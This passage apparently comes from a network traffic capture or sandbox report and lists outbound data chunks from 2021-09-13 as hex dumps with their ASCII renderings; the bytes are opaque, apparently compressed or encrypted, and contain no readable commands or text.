2021-09-13 04:32:11 UTC	5753	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:11 UTC	5769	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:11 UTC	5785	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:11 UTC	5801	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:11 UTC	5817	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:11 UTC	5833	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:11 UTC	5849	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:11 UTC	5865	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:11 UTC	5881	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:11 UTC	5897	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:11 UTC	5913	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:11 UTC	5929	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:11 UTC	5945	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:11 UTC	5961	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:11 UTC	5977	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:11 UTC	5993	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:11 UTC	6009	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:11 UTC	6025	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:11 UTC	6041	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:11 UTC	6057	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo 